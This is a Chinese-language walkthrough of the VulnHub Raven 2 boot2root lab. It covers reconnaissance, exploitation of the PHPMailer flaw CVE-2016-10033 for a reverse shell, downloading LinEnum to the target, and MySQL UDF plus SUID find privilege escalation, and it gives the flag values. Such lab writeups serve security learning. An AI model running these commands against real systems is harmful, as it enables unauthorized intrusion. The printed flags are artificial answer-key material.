靶机的下载地址:https://download.vulnhub.com/raven/Raven2.ova
Raven 2是一个中等难度的boot2root 虚拟靶机,在多次被攻破后,Raven Security采取了额外措施来增强他们的网络服务器安全以防止黑客入侵。
总共4个flag需要找出。
0x01 靶机开机
0x02 利用netdiscover对eth0网卡进行探测
在kali输入Netdiscover -i eth0即可。
0x03 nmap扫描192.168.172.153
可知有22、80、111端口开放。
0x04 目录爆破
这里用的是gobuster。如果kali没有安装的,请自行安装。
Gobuster (dir) -u http://192.168.172.153 -w /usr/share/wordlists/dirb/common.txt
(声明这里的dir:如果不加dir,一旦报错说unknown flags -u的话,建议把dir加上,查看其他命令的话,可以输入gobuster -h)
先查看一下/vendor
嗯。。。 有点东西。在查看了目录之后,在PATH下看到了第一个flag。
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
此外还有网站的目录地址也暴露了。
大致翻了一遍之后,觉得服务器大概装了PHPMailer。
0x05 PHPMailer漏洞的利用
首先用kali的searchsploit来查找PHPMailer的漏洞
Searchsploit phpmailer
这里给出了要利用的phpmailer的版本号,而目录里面的version给的大概就是版本号吧。
这里,我选用40974.py.使用cp命令将py文件复制到自己相应的目录里
(你可以使用searchsploit -x exploits/php/webapps/40974.py来查看其内容,在查看其内容后,可以知道这个漏洞的编号为CVE-2016-10033)
查看该漏洞的信息资料:https://www.anquanke.com/post/id/85295
通过查看资料后,可以知道这个漏洞是因为邮件地址能够包含用引号括起来的空格,从而进行攻击参数的注入。
查看网站的邮件页面地址:http://192.168.172.153/contact.php
接下来就是
1.修改40974.py里面的内容开头加上
#!/usr/bin/python
# -*- coding:utf-8 -*-
2.修改target地址为网站的邮件页面地址:http://192.168.172.153/contact.php
修改backdoor为’/an.php’,默认的backdoor.php执行时无法生成(原因可能是如介绍说这个靶机多次被攻击增加了安全性,这类敏感字肯定会被ban)
3.修改payload的内容
输入python 40974.py,以下是执行成功的页面
可能在执行python 40974.py会报错并提示安装requests-toolbelt模块
输入pip install requests-toolbelt即可
然后就是在kali里,用nc设置相应的监听端口
nc -lvnp 4444(这里的端口是先前payload那里设置的)
然后访问http://192.168.172.153/contact.php,访问该网址后,会在网站目录创建一个先前写payload的php文件,我这里是an.php
输入id查看权限,发现是33的www-data权限(是0多好啊)
先找找flag吧,只知道一个flag3,但是flag2呢?
试试其他的命令
find / -name “flag*”
输入该命令后,出来的东西有点多,不过在下面部分还是找到了
直接cat命令看flag2,flag3在html目录下,而且是个图片,在浏览器看吧
0x06 提权找flag4
准备上传个LinEnum.sh进行信息收集
在命令输入git clone https://github.com/rebootuser/LinEnum下载LinEnum.sh。
下载好之后使用wget上传即可
(记得启动一个http服务、记得启动一个http服务、记得启动一个http服务!!!)
我这里使用python的SimpleHTTPServer模块:
Python2:输入python -m SimpleHTTPServer
Python3:输入python -m http.server
(SimpleHTTPServer模块默认使用的是8000端口,也可以在上面的命令后面跟上你要指定的端口号)
使用python的pty模块来获取一个伪终端
pty模块:https://cloud.tencent.com/developer/section/1372585
Python -c ‘import pty;pty.spawn(“/bin/bash”)’
上传LinEnum.sh
加权运行
信息有点多,需要点时间来看,这里看到MySQL是使用root运行的,所以UDF很快乐。
漏洞信息:
如果MySQL版本 <= 5.7.14,5.6.32,5.5.51就可以使用该漏洞提权,所以去找找,看能不能找到MySQL的版本号,前面我们知道是wordpress,所以寻找wp-config文件。
登陆MySQL,并查询版本号
所以可以使用该漏洞
wget https://www.exploit-db.com/exploits/1518
上面这条命令,不知道是什么原因,在编译的时候一直报错,所以我就手动去复制的
vim raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so an_udf.so
将an_udf.so上传到靶机
然后就是参照https://www.exploit-db.com/exploits/1518上面来执行相应的命令
使用fimd执行命令提权成功,最后就是找flag4了
0x07 总结
1.使用netdiscover探测内网存活主机和nmap扫描主机开放的端口
2.PHPMailer的漏洞反弹得到shell
3.python版的EXP修改
4.查看wordpress的wp-config.php配置文件得到数据库账号密码
5.MySQL版本 <= 7.14 5.6.32 5.5.51 可以利用UDF提权
6.Kali对EXP的编译
7.给程序chmod u+s 增加suid权限,可以以root权限运行
8.利用带有suid标志的find命令进行命令执行拿到root shell